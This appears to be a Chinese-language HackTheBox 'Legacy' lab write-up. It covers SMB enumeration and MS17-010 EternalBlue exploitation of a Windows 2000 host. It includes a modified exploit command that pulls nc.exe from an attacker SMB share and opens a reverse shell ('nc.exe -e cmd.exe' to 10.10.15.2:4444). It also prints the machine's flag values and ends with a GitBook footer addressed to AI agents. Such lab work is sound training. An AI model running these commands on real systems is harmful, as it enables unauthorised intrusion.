> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md). # Legacy HackTheBox 复盘 Legacy HackTheBox 简单 Windows 机器复盘，涵盖 SMB 枚举和 MS17-010 EternalBlue 利用。 {% embed url="" %} {% hint style="warning" %} **技能：** * SMB 枚举 * MS17-010 EternalBlue 利用（Triple Z 利用） {% endhint %} ## 侦察 ### 环境设置 创建工作目录并初始化环境。 {% code overflow="wrap" %} ```bash mkdir Legacy cd Legacy mkt ``` {% endcode %}
### 目标配置 设置目标并确认其作为 Windows 主机有响应。 {% code overflow="wrap" %} ```bash settarget 10.129.227.181 Legacy ping -c 1 10.129.227.181 ``` {% endcode %}
### 端口扫描 扫描所有 TCP 端口以查找开放服务。 {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.181 -oG allPorts ``` {% endcode %}
从扫描输出中提取发现的端口。 {% code overflow="wrap" %} ```bash extractPorts allPorts ``` {% endcode %} **开放的端口：** `135`, `139`，以及 `445`. 查看识别出的服务。
运行针对性的版本和默认脚本扫描。端口 `445` 暴露了 Microsoft-DS SMB。 {% code overflow="wrap" %} ```bash sudo nmap -sCV -p 135,139,445 10.129.227.181 -oN targeted ``` {% endcode %}
### SMB 枚举 尝试匿名枚举和认证。两次尝试都失败了。 {% code overflow="wrap" %} ```bash smbmap -H 10.129.227.181 smbclient -L 10.129.227.181 -N ``` {% endcode %}
操作系统被识别为 Windows 2000，这是一个过时的 Windows 版本。
### 漏洞研究 搜索影响 Windows 2000 的公开 SMB 利用： `Windows 2000 LAN Manager exploit smb github` 有几个公开脚本针对这个旧版 Windows 的漏洞。
使用这个针对 Windows EternalBlue 漏洞的 Exploit-DB 资源。 {% embed url="" %} 使用 Nmap 脚本扫描来验证漏洞。 {% code overflow="wrap" %} ```bash nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan ``` {% endcode %} 扫描确认目标存在漏洞。
### 利用 使用以下 MS17-010 项目。 {% embed url="" %} 编辑 `zzzz` 文件。 将以下这一行注释掉： {% code overflow="wrap" %} ```bash #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') ``` {% endcode %} 复制 `nc.exe` 到工作目录中。 {% code overflow="wrap" %} ```bash cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe . ``` {% endcode %} 通过 SMB 共享当前目录以传输二进制文件。 {% code overflow="wrap" %} ```bash smbserver.py share $(pwd) -smb2support ``` {% endcode %}
使用下面的 SMB 路径和反向 shell 命令更新脚本。 ### 反向 Shell 在端口上启动监听器 `4444`. {% code overflow="wrap" %} ```bash rlwrap nc -nvlp 4444 ``` {% endcode %} 将脚本中的命令替换为： {% code overflow="wrap" %} ```bash service_exec(conn, r'cmd.exe /c copy \\10.10.15.2\share\nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe -e cmd.exe 10.10.15.2 4444') ``` {% endcode %}
### 标志 获取用户 flag。 {% code overflow="wrap" %} ```bash type "C:\Documents and Settings\john\Desktop\user.txt" ``` {% endcode %} * e69af0e4f443de7e36876fda4ec7644f 该 shell 还提供了访问 Administrator 标志的权限。 {% code overflow="wrap" %} ```bash type "C:\Documents and Settings\Administrator\Desktop\root.txt" ``` {% endcode %} * 993442d258b0e0ec917cae9e695d5713
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.